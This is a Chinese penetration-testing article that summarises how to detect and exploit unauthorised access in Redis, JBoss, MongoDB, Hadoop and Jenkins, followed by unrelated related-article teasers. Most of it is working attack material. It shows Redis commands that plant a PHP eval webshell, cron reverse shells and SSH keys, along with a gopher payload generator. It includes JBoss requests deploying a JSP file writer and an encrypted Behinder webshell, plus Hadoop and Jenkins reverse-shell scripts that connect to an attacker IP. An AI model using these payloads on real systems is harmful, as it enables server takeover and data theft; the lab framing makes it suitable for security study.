『渗透测试』常见未授权访问总结

来源:宸极实验室

介绍:本文主要介绍了常见未授权访问漏洞的检测以及利用。


0x00 前言

最近测试过程遇到了一些未授权访问的漏洞,就做了一些总结,以后遇到了,可以进行直接参考。

0x01 redis未授权访问

    靶机地址:192.168.160.128靶机路径:/var/www/html

    判断未授权漏洞存在,如下图:

    1.1 漏洞检测

    批量检测漏洞脚本:https://github.com/code-scan/rescan

    执行结果:

    1.2 漏洞利用

    1.2.1 利用redis写webshell

    利用条件:

      1.靶机redis链接未授权,在攻击机上能用redis-cli连上2.开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

      依次执行命令如下:

        192.168.160.128:6379> config set dir /var/www/htmlOK192.168.160.128:6379> config set dbfilename shell.phpOK192.168.160.128:6379> set webshell '\n\n\n<?php @eval($_POST['shell']);?>\n\n\n'OK192.168.160.128:6379> saveOK

        第三步写入webshell时需要使用换行,因为redis写入文件的时候会自带一些版本信息,不换行可能会导致无法执行。

        连接shell

        1.2.2 利用crontab反弹shell

          利用条件:目标redis运行在centos且以root权限启动靶机地址:192.168.160.146攻击机地址:192.168.160.128

          先在攻击机开启监听:nc -lvnp 4444 新开窗口依次执行如下命令:

            redis-cli -h 192.168.160.146config set dir /var/spool/cronconfig set dbfilename rootset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'save

            成功收到shell:

            python脚本利用:

              #!/usr/bin/env pythonimport urllibprotocol='gopher://'ip='192.168.160.146'port='6379'reverse_ip='192.168.160.1'reverse_port='4444'cron='\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n'%(reverse_ip,reverse_port)filename='root'path='/var/spool/cron'passwd=''cmd=['flushall',     'set 1 {}'.format(cron.replace(' ','${IFS}')),     'config set dir {}'.format(path),     'config set dbfilename {}'.format(filename),'save'     ]if passwd:    cmd.insert(0,'AUTH {}'.format(passwd))payload=protocol ip ':' port '/_'def redis_format(arr):    CRLF='\r\n'    redis_arr = arr.split(' ')    cmd=''    cmd ='*' str(len(redis_arr))    for x in redis_arr:        cmd =CRLF '$' str(len((x.replace('${IFS}',' ')))) CRLF x.replace('${IFS}',' ')    cmd =CRLF    return cmdif __name__=='__main__':    for x in cmd:        payload  = urllib.quote(redis_format(x))    print payload

              执行该脚本,然后curl

              最后成功监听到:

              计划任务文件:

              注:若以 kali 192.168.160.128作为靶机,centos192.168.160.148作为攻击机,反弹不成功。

                config set dir /var/spool/cron/crontabs //kali里的计划任务目录是/var/spool/cron/crontabsset ceshi '\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.160.128/4444 0>&1\n\n'

                ubuntu也无法反弹。

                  出现这个问题的原因是linux的cron中执行命令的shell环境是bin/sh。但是ubuntu和kali里的bin/sh指向的dash。而dash这个shell只有运行脚本的能力,没有交互能力。

                  这里可以查看一下bin/sh的指向。

                    cd /bin & ls -l | grep -w 'sh'

                    centos

                    kali

                    Ubuntu

                    如果想通过计划任务反弹shell,参考下列文章:

                      https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/

                      1.2.3 利用公私钥认证获取root权限

                        利用条件:靶机为linux靶机:192.168.160.146

                        依次在攻击机上执行:

                          ssh-keygen -t rsa   //在攻击机上生成ssh公钥和私钥,密码设置为空cd /root/.ssh(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') > 1.txt    //将生成的公钥报存为1.txt

                          然后依次执行:

                            cat 1.txt | redis-cli -h 192.168.160.146 -x set crack //将保存的ssh公钥写入redisredis-cli -h 192.168.16.146 //登录redis服务CONFIG GET dir //查看redis备份的路径config set dir /root/.ssh //修改redis的备份路径为ssh公钥存放目录CONFIG SET dbfilename authorized_keys //设置上传公钥的备份文件名字为authorized_keysCONFIG GET dbfilename //检查是否更改成功save
                              ssh -i id_rsa root@192.168.160.146yes

                              成功登录系统:

                              1.2.4 主从复制RCE

                                在redis4.x之后,redis增加了模块功能,通过外部拓展,可以实现在redis中实现一个新的redis命令,通过c语言编译并加载恶意的.so文件,达到代码执行的目的。

                                适用版本:redis4.x-5.0.5 注:win下的redis的最新版本为3.2。所以win下这个是不行的。利用脚本:https://github.com/n0b0dyCN/redis-rogue-server

                                脚本使用:

                                  python3 redis-rogue-server.py  --rhost 192.168.160.146 --lhost 192.168.160.1
                                  参考文章:
                                    https://www.jianshu.com/p/77052b00700chttps://www.cnblogs.com/bmjoker/p/9548962.html

                                    如果是win下的redis环境,且无法写webshell的情况下,参考如下文章:

                                      https://xz.aliyun.com/t/7940https://xz.aliyun.com/t/8153

                                      0x02 Jboss未授权访问漏洞

                                      环境:docker的镜像testjboss 判断未授权漏洞存在,访问http://ip//jmx-console

                                      2.1 漏洞检测

                                      检测脚本https://github.com/GGyao/jbossScan

                                      2.2 漏洞利用

                                      2.2.1 写入木马

                                      首先访问:

                                        http://192.168.160.1/jmx-console//HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=August.war&argType=java.lang.String&&arg1=shell&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25 if(request.getParameter(%22f%22)!%3dnull)(new java.io.FileOutputStream(application.getRealPath(%22%2f%22)%2brequest.getParameter(%22f%22))).write(request.getParameter(%22t%22).getBytes())%3b %25%3e&argType=boolean&arg4=True

                                        提取相关参数:

                                          arg0:August.war //war包名称arg1:shell  //文件名称arg2:.jsp   //文件后缀名arg3:<% if(request.getParameter('f')!=null)(new java.io.FileOutputStream(application.getRealPath('/') request.getParameter('f'))).write(request.getParameter('t').getBytes()); %>//f=文件名,t=文件内容

                                          执行成功:

                                          创建文件并访问:

                                            http://192.168.160.1/August/shell.jsp?f=2.txt&t=123http://192.168.160.1/August/2.txt

                                            2.2.2 远程部署war包

                                            首先制作war包。 jar cvf ma1.war ma1.jsp

                                            然后部署在自己的服务器上。

                                            在jmx-console搜索deployment,进入DeploymentScanner。

                                            在addURL()的ParamValue上填写服务器上的war包地址。执行invoke

                                            执行成功。

                                            返回到刚进入jmx-console的页面,找到jboss.web.deployment,如下说明部署成功。

                                            访问木马地址,上传成功。

                                            2.2.3 本地上传war包2

                                            此处利用DeploymentFileRepository类,把war包部署到已知jmx-console目录下,这样不用知道网站的路径,且避免了其他路径不允许访问的限制。

                                            进入该类后,修改BaseDir的值为./deploy/

                                            然后到store方法里,修改值如下:

                                              p1:jmx-consolep2:ceship3:.jspp4:<%@page import='java.util.*,javax.crypto.*,javax.crypto.spec.*'%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals('POST')){String k='e45e329feb5d925b';/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue('u',k);Cipher c=Cipher.getInstance('AES');c.init(2,new SecretKeySpec(k.getBytes(),'AES'));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

                                              ps:p4就是冰蝎的马

                                              invoke后,返回成功。

                                              尝试访问http://192.168.160.1/jmx-console/ceshi.jsp,返回200。

                                              冰蝎连上,成功。

                                              2.3 漏洞利用脚本

                                              利用脚本https://github.com/joaomatosf/jexboss

                                                python2 jexboss.py -host http://ip

                                                参考:

                                                  https://www.cnblogs.com/rnss/p/13377321.htmlhttps://www.cnblogs.com/Hack-Devil/p/13741604.html

                                                  0x03 MongoDB未授权访问

                                                  3.1 漏洞检测

                                                  通过数据库工具进行连接。 NoSQLBooster工具,下载地址https://nosqlbooster.com/downloads

                                                  0x04 hadoop未授权访问

                                                  4.1 漏洞利用

                                                    靶机:127.0.0.1:8088vulhub的hadoop的环境

                                                    访问8088页面,可以直接看到hadoopweb页面。

                                                    exp.py如下:

                                                      import requeststarget = 'http://127.0.0.1:8088/'lhost = '192.168.160.1' # put your local host ip here, and listen at port 4444url = target   'ws/v1/cluster/apps/new-application'resp = requests.post(url)app_id = resp.json()['application-id']url = target   'ws/v1/cluster/apps'data = {    'application-id': app_id,    'application-name': 'get-shell',    'am-container-spec': {        'commands': {            'command': '/bin/bash -i >& /dev/tcp/%s/4444 0>&1' % lhost,        },    },    'application-type': 'YARN',}requests.post(url, json=data)

                                                      执行如下命令:

                                                        nc -lvp 4444python exp.py

                                                        成功:

                                                        0x05 jenkinis未授权访问

                                                        5.1 漏洞检测

                                                        访问http://ip:8080/manage,不需要登录就可以访问,就存在漏洞。

                                                        5.2 漏洞利用

                                                          靶机:192.168.160.145:8080

                                                          访问http://192.168.160.145:8080/script 查看一下用户println 'whoami'.execute().text

                                                          有可写权限的情况下,可以利用脚本向网站路径写webshell。这里的网站路径是/var/www/html

                                                            new File ('/var/www/html/shell.php').write('<?php phpinfo(); ?>');

                                                            如果权限不够报错。靶机是ubuntu,开启jenkins服务新建一个jenkins用户,权限不太够。

                                                            靶机修改一下用户,用root运行,继续新建文件,无报错,可访问。

                                                            进行反弹shell。反弹命令进行编码:http://www.jackson-t.ca/runtime-exec-payloads.html

                                                              println 'bash -c {echo,YmFzaCAtaSA JiAvZGV2L3RjcC8xOTIuMTY4LjE2MC4xLzQ0NDQgMD4mMQo=}|{base64,-d}|{bash,-i}'.execute().text

                                                              成功反弹。

                                                              0x06 总结

                                                              本篇文章对常见场景下的未授权访问漏洞的检测和利用进行了总结,主要是为了方便后续测试遇到时的利用,后续希望研究一下某些特定场景下该怎么利用。

                                                              (0)

                                                              相关推荐

                                                              • Shell进阶 文件查找 压缩打包

                                                                Shell脚本进阶 文件查找与打包压缩 1.变量 1.1 变量类型 变量类型: 内置变量,如:PS1,PATH,UID,HOSTNAME,$$,BASHPID,PPID,$?,HISTSIZE 用户自 ...

                                                              • 『西医西药』常见急危重症诊疗大全(三)

                                                                常见急危重症诊疗大全(三)第四章    创伤诊疗常规第一节  脑  损 伤脑  震  荡[病史采集 ]1.受伤时间.原因.外力的大小.着力部位.伤后表现及其变化(负伤当时能否讲话?能否坐起或行走?伤后 ...

                                                              • 『西医西药』常见急危重症诊疗大全(二)

                                                                常见急危重症诊疗大全(二)第十三节 糖尿病昏迷糖尿病酮症酸中毒[病史采集 ]1.糖尿病史及类似发病史:2.诱因:急性感染.严重创伤.外科手术.妊娠.分娩.治疗不当.饮食失调和胃肠道疾病,其它应激:3. ...

                                                              • 『西医西药』常见急危重症诊疗大全(一)

                                                                常见急危重症诊疗大全(一)第一节  心脏骤停[ 病史采集 ]1. 心脏骤停是一种临终前状态,必须强调争分夺秒简要询问有无双眼上翻突然意识丧失.抽搐等心脏骤停的先兆症状:2. 有无急性心肌梗塞.严重心律 ...

                                                              • 『西医西药』常见急危重症的快速识别与处理技巧

                                                                常见急危重症的快速识别与处理技巧一.常见急危重症的范畴急危重症通常指病人的脏器功能衰竭,包括"六衰":衰竭的脏器数目越多,说明病情越危重(两个以上称"多脏器功能衰竭&qu ...

                                                              • 『西医西药』常见伤口处理 书上不讲的技巧

                                                                常见伤口处理,书上不讲的技巧. 一.书上不讲的技巧. 碘伏和酒精的应用范围.碘伏是络合碘,对油腻的创口或者皮脂腺发达的部位无效或者效果不好.而酒精或者碘酒就能够脱脂,能够更好的固定细菌的蛋白,而在皮脂 ...

                                                              • 『西医西药』常见伤口处理,书上不讲的技巧

                                                                常见伤口处理,书上不讲的技巧 一.书上不讲的技巧.碘伏和酒精的应用范围.碘伏是络合碘,对油腻的创口或者皮脂腺发达的部位无效或者效果不好.而酒精或者碘酒就能够脱脂,能够更好的固定细菌的蛋白,而在皮脂腺丰 ...

                                                              • 『西医西药』常见联合用药,【黄金搭配方案】太全了!

                                                                常见联合用药,[黄金搭配方案]太全了! 胃食管反流病[黄金搭配方案]1.吗丁啉+雷尼替丁2.吗丁啉+兰索拉唑3.胃复安+奥美拉唑急性胃炎[黄金搭配方案]1.雷尼替丁+硫糖铝+胃复安2.吗丁啉+雷尼替丁 ...

                                                              • 『健康图库』常见食物类胡萝卜素的含量一览表图片

                                                                本页是关于常见食物类胡萝卜素的含量一览表的图片,图片所在的文章是:<20110823养生堂视频:吴为群讲呼吸系统疾病>.这是一张宽690像素,高388像素的图片,图片文件大小是75143B ...

                                                              • 『体检手册』常见的眼部疾病

                                                                人们都希望拥有一双健康.美丽的眼睛,然而近视眼.沙眼.白内障.青光眼.飞蚊症.视网膜病变等各种眼病正在威胁.困扰着许多人,给人们的生活带来了诸多不便. (1)远视 远视是平行光线进入眼内后在视网膜之后 ...